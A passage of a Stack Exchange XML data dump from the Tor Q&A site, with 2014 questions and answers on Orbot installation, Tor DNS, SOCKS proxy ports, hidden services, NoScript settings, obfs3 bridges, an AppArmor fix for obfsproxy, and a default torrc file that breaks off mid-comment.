  <row Id="3991" PostTypeId="1" CreationDate="2014-09-01T08:36:40.963" Score="1" ViewCount="225" Body="&lt;p&gt;Had Orbot working fine for a long time, then made an error in deinstalling it. Wanted to reinstall, no way. Installation starts, and stops/finishes with &quot;unknown error code:-24&quot; in Google Play. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other ways to install (s. below) failed also. All in the same manner. Installation starts, and fails. App not installed. But installing other software is seamless. Even De-install and Re-install is no problem. It's just Orbot. Therefore, I assume some old files/directories/reminiscences/leftovers from the old installation prevent reinstallation by &quot;unknown install error code: -24&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so: What paths/files/settings to look for / clean up / change?&#xA;If not: What's the solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm clueless and need help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HW: Rooted Galaxy tab 3 lite&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried installations:&#xA;fiewalls down, net connection Wifi, tried from google play, from f-droid, via Orweb calling Google Play to install Orbot, as local apk (14.0.7 and 14.0.7.3) on SdCard both with packet installer, and even with adb install bypass in a terminal... No luck at all:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HELP, PLEASE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tankx in advance&lt;/p&gt;&#xA;" OwnerUserId="3522" LastEditorUserId="923" LastEditDate="2014-09-01T14:21:30.137" LastActivityDate="2014-09-01T14:21:30.137" Title="Orbot installation error. Unknown error code in installation: &quot;-24&quot;" Tags="|orbot|help|mobile|update|troubleshooting|" AnswerCount="0" CommentCount="1" ClosedDate="2020-04-15T21:41:08.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="3992" PostTypeId="1" CreationDate="2014-09-01T09:18:16.153" Score="2" ViewCount="1355" Body="&lt;p&gt;I am using Tor for a while and I don't understand what exactly are it's DNS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few website that can't be open when I use Tor because it's DNS server can't find it's IP! Can't we change it's DNS or do something to find my website without using my ISP DNS server's? My OS is UBUNTU + Tor browser bundle with Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we saw what DNS server the Browser using with addon or something?&lt;/p&gt;&#xA;" OwnerUserId="3523" LastEditorUserId="923" LastEditDate="2014-09-01T15:26:05.473" LastActivityDate="2014-09-01T15:26:05.473" Title="What exactly are Tor DNS servers?" Tags="|ubuntu|dns|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3993" PostTypeId="2" ParentId="3992" CreationDate="2014-09-01T10:37:31.087" Score="1" Body="&lt;p&gt;Tor doesn't have something like an own DNS. Instead Tor uses the nameservers of the exit relay. As &lt;a href=&quot;https://tor.stackexchange.com/a/26/88&quot;&gt;explained in another answer&lt;/a&gt; your browser or another client send the DNS request to the SOCKS proxy (Tor in this case) and the request is than sent to the exit relay which resolves it. So the answer to a DNS request can come from an arbitrary name server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the IP of some websites cannot be found it is the fault of the exit relay. If you mention one or more websites and the exit relay, maybe I could refine the answer further.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-09-01T10:37:31.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3994" PostTypeId="1" CreationDate="2014-09-02T17:46:36.550" Score="1" ViewCount="2852" Body="&lt;p&gt;I had tried privoxy to build a listen-address on 0.0.0.0:8118. But whatever I use socks proxy of 127.0.0.1:9150 or http/https proxy on 127.0.0.1/0.0.0.0:8118,Tor will not work on my safari. However,I can use Tor on my iphone using http proxy of 8118. What can I do to make my safari on Tor to work. Sorry for my bad English.&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="88" LastEditDate="2014-10-04T09:15:32.530" LastActivityDate="2015-04-02T22:16:29.200" Title="I can't use Tor's socks5 proxy on safari" Tags="|socks|safari|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3995" PostTypeId="2" ParentId="3239" CreationDate="2014-09-02T21:22:43.927" Score="1" Body="&lt;p&gt;No, I would not do this.  You see, this is how tor works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browser ==&gt;  Locally hosted socks5 proxy ==&gt; Internal functions ==&gt; tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless your proxy acted as a bridge to the tor network, this would not work.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-09-02T21:22:43.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3996" PostTypeId="1" CreationDate="2014-09-02T22:08:46.423" Score="4" ViewCount="573" Body="&lt;p&gt;I need to create a hidden service of a website accessible thru my home lan network, from my PC (192.168.1.54) where Tor is also running, I connect to mywebsite.com,&#xA;mywebsite.com points to 192.168.1.56 (I know cause I've pinged it). The problem is that &lt;a href=&quot;http://mywebsite.com&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com&lt;/a&gt; is a virtualhost so if I create a hidden service to 192.168.1.56:80 when I connect to it thru the browser it gives me an error because 192.168.1.56:80 doesen't view mywebsite.com but only z random error page. The main issue is that I don't have access to the webservers config, because 192.168.1.56 is a closed box (It looks like a router) and not a PC, so I can't modify the apache (or whatever it uses) making ports like I've read you have to do to make a hidden service of a virtual host.&#xA;thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="3531" LastEditorUserId="923" LastEditDate="2014-09-03T06:45:23.453" LastActivityDate="2016-04-25T18:30:54.633" Title="Create hidden service of remote virtual host" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3997" PostTypeId="1" CreationDate="2014-09-03T03:34:45.267" Score="4" ViewCount="692" Body="&lt;p&gt;I found this blog post which says that they were able to identify Tor traffic by using a software called &lt;a href=&quot;http://www.netresec.com/?page=Blog&amp;amp;month=2013-04&amp;amp;post=Detecting-TOR-Communication-in-Network-Traffic&quot; rel=&quot;nofollow&quot;&gt;caploader&lt;/a&gt;? Have any one tried this software? I wasn't able to try it by myself as the protocol identification feature is not activated in the trial version? &lt;/p&gt;&#xA;" OwnerUserId="3532" LastEditorUserId="923" LastEditDate="2014-09-03T06:37:23.460" LastActivityDate="2014-09-10T07:36:19.870" Title="Does caploader able to identify Tor traffic in the network?" Tags="|tor-browser-bundle|traffic-analysis|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3998" PostTypeId="1" CreationDate="2014-09-03T03:53:56.323" Score="2" ViewCount="805" Body="&lt;p&gt;How to build a Tor browser bundle with a modified version of Tor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've some changes on Tor source code that I'd like to try for research reasons. &lt;/p&gt;&#xA;" OwnerUserId="3532" LastEditorUserId="923" LastEditDate="2014-09-03T06:48:00.293" LastActivityDate="2014-09-04T02:04:51.583" Title="How to build a modified Tor browser bundle?" Tags="|tor-browser-bundle|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3999" PostTypeId="2" ParentId="3996" CreationDate="2014-09-03T08:26:12.470" Score="1" Body="&lt;p&gt;Typically what one does when you want to have tor on one machine and then the webserver on another is to run for example apache on both machines, then when people connect to the one which hosts the tor domain it will then forward the connection to the other webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This enables you to easily isolate the webserver from everything else.&#xA;This is how it's done in for example the 'Whonix' gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are examples for this setup type here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://serverfault.com/questions/126704/how-do-i-point-one-virtual-host-to-another-instance-of-apache-running-at-another&quot;&gt;https://serverfault.com/questions/126704/how-do-i-point-one-virtual-host-to-another-instance-of-apache-running-at-another&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:47.757" LastActivityDate="2014-09-03T08:26:12.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4002" PostTypeId="2" ParentId="3997" CreationDate="2014-09-03T22:45:31.157" Score="2" Body="&lt;p&gt;Netresec is a for profit organization, that is attempting to sell a product.  If you want to examine tor packets, take a look at &lt;a href=&quot;http://www.slideshare.net/bsmuir/tor-packet-analysis&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; great article.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-09-03T22:45:31.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4003" PostTypeId="2" ParentId="3998" CreationDate="2014-09-04T00:55:17.277" Score="0" Body="&lt;p&gt;Well to start, Tor is simple a modified version of Firefox.  First I would go about obtaining the Tor control plugin that the tor browser uses.  Then I would download the Vanilla firefox and add the plugin.  Lastly, I would get the tor server binaries (they are under ../Tor/ when you dl the browser).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set Firefox settings to use a proxy at 127.0.0.1:9050.  Tor uses a socks5 protocol to communicate with your browser if I am not mistaken.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-09-04T00:55:17.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4004" PostTypeId="2" ParentId="3994" CreationDate="2014-09-04T01:14:41.540" Score="0" Body="&lt;p&gt;The reason you are not able to connect to the Tor network is because you are not sending requests to the correct port.  If I am not mistaken, Tor operates on port 9050, so your browser should be listening to 127.0.0.1:9050, not 127.0.0.1:9150.  For more information on this topic, please look &lt;a href=&quot;https://www.torproject.org/docs/faq#TBBSocksPort&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-09-04T01:14:41.540" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4005" PostTypeId="2" ParentId="3998" CreationDate="2014-09-04T02:04:51.583" Score="2" Body="&lt;p&gt;You may look at following information from Tor:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Building the bundle&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We use Gitian to ensure that byte-for-byte reproducible packages can&#xA;  be built from our source repository by anyone. To re-build the bundle,&#xA;  check out the Tor Browser builder repository and see the README.build&#xA;  for instructions. You may also find the Tor Browser Hacking intro&#xA;  document useful for learning about the build system and our&#xA;  development processes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For details you may click the following link: &lt;a href=&quot;https://www.torproject.org/projects/torbrowser-details.html.en#build&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser-details.html.en#build&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-09-04T02:04:51.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4006" PostTypeId="1" CreationDate="2014-09-04T06:57:02.243" Score="3" ViewCount="354" Body="&lt;p&gt;I recall that previous versions of TBB came with Noscript, but with javascript enabled by default. Since then, it would appear that the settings for Noscript (TBB v3.6.4) have been modified and javascript is now disabled, as tested with &lt;a href=&quot;http://www.isjavascriptenabled.com&quot; rel=&quot;nofollow&quot;&gt;http://www.isjavascriptenabled.com&lt;/a&gt;; &lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow&quot;&gt;https://panopticlick.eff.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am curious, however, about the security of the current default configuration and what vulnerabilities the browser might plausibly be susceptible to. Are there any other adjustments to Noscript settings that might be beneficial without significantly affecting browser functioning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am working  on the premise that the default Noscript configuration that the browser ships with may not necessarily be the most optimal, as was the case with previous releases of TBB.)&lt;/p&gt;&#xA;" OwnerUserId="3542" LastEditorUserId="923" LastEditDate="2015-02-01T20:11:52.877" LastActivityDate="2015-02-01T20:11:52.877" Title="Noscript and latest TBB (v3.6.4) -- recommended modifications to default settings?" Tags="|tor-browser-bundle|firefox|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4007" PostTypeId="2" ParentId="2197" CreationDate="2014-09-04T09:03:59.137" Score="3" Body="&lt;p&gt;I confirm 100% obfs3 works as I'm using it right now. ( Instead meek does not work, maybe because it relay on Google )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need fresh obfs3 bridges, the one in the bundle are not working for me ... &#xA;... you can get them on the Tor page, the best option is to ask a friend to do it for you or use the mail service.&lt;br&gt;&#xA;- Bridges -&gt; &lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs3&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/bridges?transport=obfs3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br&gt;&#xA;Looks GFW is constantly increase the bridges block so you need to constant update your bridge list with fresh one ...&lt;br&gt;&#xA;It would be great to have some &lt;em&gt;meek&lt;/em&gt; alternative based on something else than google services ... &lt;/p&gt;&#xA;" OwnerUserId="3225" LastEditorUserId="3225" LastEditDate="2014-09-10T06:01:41.133" LastActivityDate="2014-09-10T06:01:41.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4008" PostTypeId="2" ParentId="4006" CreationDate="2014-09-04T10:36:53.453" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the NoScript button -&gt; Select forbid all scripts globally&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type &quot;about:config&quot; (without quotes) on your browser and press enter. Dismiss the warning. Find the javascript:enabled value and change it to false.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-09-04T10:36:53.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4009" PostTypeId="1" CreationDate="2014-09-04T12:00:57.220" Score="4" ViewCount="3286" Body="&lt;p&gt;I need to use a proxy in order to use Wifi at the office.&#xA;For 'Tor browser bundle' (on my laptop) I know where to write the Wifi proxy settings, &#xA;but where do I enter them when using orbot? (on samsung GT-s7102).&lt;/p&gt;&#xA;" OwnerUserId="3545" LastEditorUserId="923" LastEditDate="2014-09-04T17:31:38.913" LastActivityDate="2016-04-04T01:50:55.367" Title="Orbot settings for Wifi with proxy!" Tags="|orbot|transparent-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4010" PostTypeId="1" CreationDate="2014-09-04T13:33:06.707" Score="3" ViewCount="339" Body="&lt;p&gt;I'm new to Tor, and would like to ask if three 'cosmetic' Firefox addons - Tab Mix Plus, All-in-one Sidebar, and Scrapbook - pose an anonymity threat? &lt;/p&gt;&#xA;" OwnerUserId="3546" LastEditorUserId="923" LastEditDate="2014-09-04T16:57:12.720" LastActivityDate="2014-12-08T13:12:28.030" Title="Are there any 'safe' addons to manage browser functionallity?" Tags="|firefox|add-on|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4012" PostTypeId="1" CreationDate="2014-09-04T15:45:57.233" Score="1" ViewCount="44" Body="&lt;p&gt;I'm new to Tor and am on linux. I am trying to figure out what Tor browser health report is about. But I am unable to access it. By unable to access it, I mean the webpage is blank. Clicking on Edit &gt; Preference &gt; Advanced &gt; Data Choices &gt; Click on Tor browser health report does nothing. If I close Tor Browser Preferences, the checkbox becomes empty again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have no idea what's going on here. Is Tor browser health report not available anymore or anything else. Maybe noscript is denying it, although I have white listed about:healthreport . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to know what is going on. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="923" LastEditDate="2014-09-04T17:45:54.860" LastActivityDate="2014-09-04T17:45:54.860" Title="Tor browser health report - not able to view it and clicking on it doesn't do anything" Tags="|tor-browser-bundle|linux|" AnswerCount="0" CommentCount="0" ClosedDate="2020-04-15T21:39:47.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="4013" PostTypeId="2" ParentId="3723" CreationDate="2014-09-04T16:03:17.637" Score="4" Body="&lt;p&gt;&lt;strong&gt;Premise&lt;/strong&gt;&lt;br&gt;&#xA;How to configure Tor and Obfsproxy:&lt;br&gt;&#xA;- &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy-debian-instructions&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/obfsproxy-debian-instructions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According with this bug report:&lt;br&gt;&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6996&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/6996&lt;/a&gt;&lt;br&gt;&#xA; ... the obfsproxy permission error is triggered by the tor init script ( at least on debian/ubuntu ) because of tor apparmor wrong script (&lt;code&gt;/etc/apparmor.d/system_tor&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically approuch is to stop the service and launch tor directly so a simple and straight:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor stop &amp;amp;&amp;amp; tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this should work ( don't use &lt;code&gt;sudo&lt;/code&gt; to launch tor or you will get a different error :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Better solution&lt;/strong&gt;&lt;br&gt;&#xA;is to fix the apparmor tor profile so that the tor service start correctly &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;edit this file &lt;code&gt;/etc/apparmor.d/system_tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add this line &lt;code&gt;/usr/bin/obfsproxy  Ux,&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;restart apparmor service (&lt;code&gt;sudo service apparmor restart&lt;/code&gt; )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So the profile should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# vim:syntax=apparmor&#xA;#include &amp;lt;tunables/global&amp;gt;&#xA;&#xA;profile system_tor {&#xA;  #include &amp;lt;abstractions/tor&amp;gt;&#xA;&#xA;  owner /var/lib/tor/** rwk,&#xA;  owner /var/log/tor/* w,&#xA;&#xA;  /usr/bin/obfsproxy  Ux,  ## this is the FIX&#xA;&#xA;  /{,var/}run/tor/control w,&#xA;  /{,var/}run/tor/tor.pid w,&#xA;  /{,var/}run/tor/control.authcookie w,&#xA;  /{,var/}run/tor/control.authcookie.tmp rw,&#xA;&#xA;  # Site-specific additions and overrides. See local/README for details.&#xA;  #include &amp;lt;local/system_tor&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3225" LastEditorUserId="3225" LastEditDate="2014-09-06T17:25:55.940" LastActivityDate="2014-09-06T17:25:55.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4014" PostTypeId="1" CreationDate="2014-09-04T16:56:05.343" Score="5" ViewCount="11127" Body="&lt;p&gt;I have just installed Tor Browser package (Windows), using my admin account (installation failed with a normal account due to insufficient privileges. I am able to start the Tor browser ok with the admin account. However, when I switch to my regular non admin account and try to start the Tor browser, I get that error message that says Firefox is already running. I have attempted to fix this particular problem from Mozilla help, but they just don't work. (There is a firefox profile lock file that needs to be deleted; I did this and it made no difference). So can you only run Tor browser from the same account that you install it in? If this is the case, then I'll need to un-install and then re-run the installer from an elevated command prompt, however, I tried to un-install Tor-Broswer, but I can't find an un-installer, and the Tor Browser doesn't appear in the application install list (appwiz.cpl).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please assist if you can,&#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="3548" LastEditorUserId="923" LastEditDate="2014-09-04T17:03:07.613" LastActivityDate="2019-09-25T20:13:18.510" Title="Unable to start Tor browser using an account other than the one it was installed with (Windows 7)" Tags="|tor-browser-bundle|help|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4015" PostTypeId="1" CreationDate="2014-09-04T19:16:12.207" Score="1" ViewCount="369" Body="&lt;p&gt;I am on an ethernet ADSL line. I started with Tor today and this is what it shared. But before that I need to share alias of Tor otherwise people would be left asking how Tor started. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ alias tor&#xA;alias tor='/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/start-tor-browser'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So starting Tor via CLI :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor&#xA;&#xA;Launching Tor Browser Bundle for Linux in /home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US&#xA;&#xA;(process:5528): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed&#xA;&#xA;(firefox:5528): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::sm-connect after class was initialised&#xA;&#xA;(firefox:5528): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::show-crash-dialog after class was initialised&#xA;&#xA;(firefox:5528): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::display after class was initialised&#xA;&#xA;(firefox:5528): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::default-icon after class was initialised&#xA;Sep 04 21:02:12.892 [notice] Tor v0.2.4.23 (git-a9ea51dc0bd48126) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1i.&#xA;Sep 04 21:02:12.892 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 04 21:02:12.892 [notice] Read configuration file &quot;/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/torrc-defaults&quot;.&#xA;Sep 04 21:02:12.892 [notice] Read configuration file &quot;/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/torrc&quot;.&#xA;Sep 04 21:02:12.895 [notice] Opening Socks listener on 127.0.0.1:xxxx&#xA;Sep 04 21:02:12.895 [notice] Opening Control listener on 127.0.0.1:xxxx&#xA;Sep 04 21:02:12.000 [notice] Pluggable transport proxy (fte exec ./Tor/PluggableTransports/fteproxy.bin --managed) does not provide any needed transports and will not be launched.&#xA;Sep 04 21:02:12.000 [notice] Pluggable transport proxy (obfs2,obfs3 exec ./Tor/PluggableTransports/obfsproxy.bin managed) does not provide any needed transports and will not be launched.&#xA;Sep 04 21:02:12.000 [notice] Pluggable transport proxy (flashproxy exec ./Tor/PluggableTransports/flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched.&#xA;Sep 04 21:02:12.000 [notice] Parsing GEOIP IPv4 file /home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/geoip.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have obfuscated the ports it is using by putting xxxx therein. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to know more.&lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="3547" LastEditDate="2014-09-04T19:51:58.333" LastActivityDate="2014-09-04T19:51:58.333" Title="Pluggable transport proxy (fte exec ./Tor/PluggableTransports/fteproxy.bin --managed) does not provide any needed transports and will not be launched" Tags="|tor-browser-bundle|linux|pluggable-transports|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4018" PostTypeId="1" CreationDate="2014-09-05T00:11:56.190" Score="2" ViewCount="1815" Body="&lt;p&gt;Newbie to Tor. I installed Tor via Tor browser-launcher on a deb-based distribution. Apparently the torrc is a sort of configuration file which affects behavior of Tor. Now a little investigation revealed that torrc is at two places in my system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is /etc/tor/torrc . &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor$cat torrc&#xA;## Configuration file for a typical Tor user&#xA;## Last updated 12 September 2012 for Tor 0.2.4.3-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &quot;## &quot; try to explain what's going on. Lines&#xA;## that begin with just &quot;#&quot; are disabled commands: you can enable them&#xA;## by removing the &quot;#&quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &quot;SocksPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;4 GB&quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Contact info to be published in the directory, so we can contact you&#xA;## if your relay is misconfigured or something else goes wrong. Google&#xA;## indexes this, so spammers might also collect it.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror 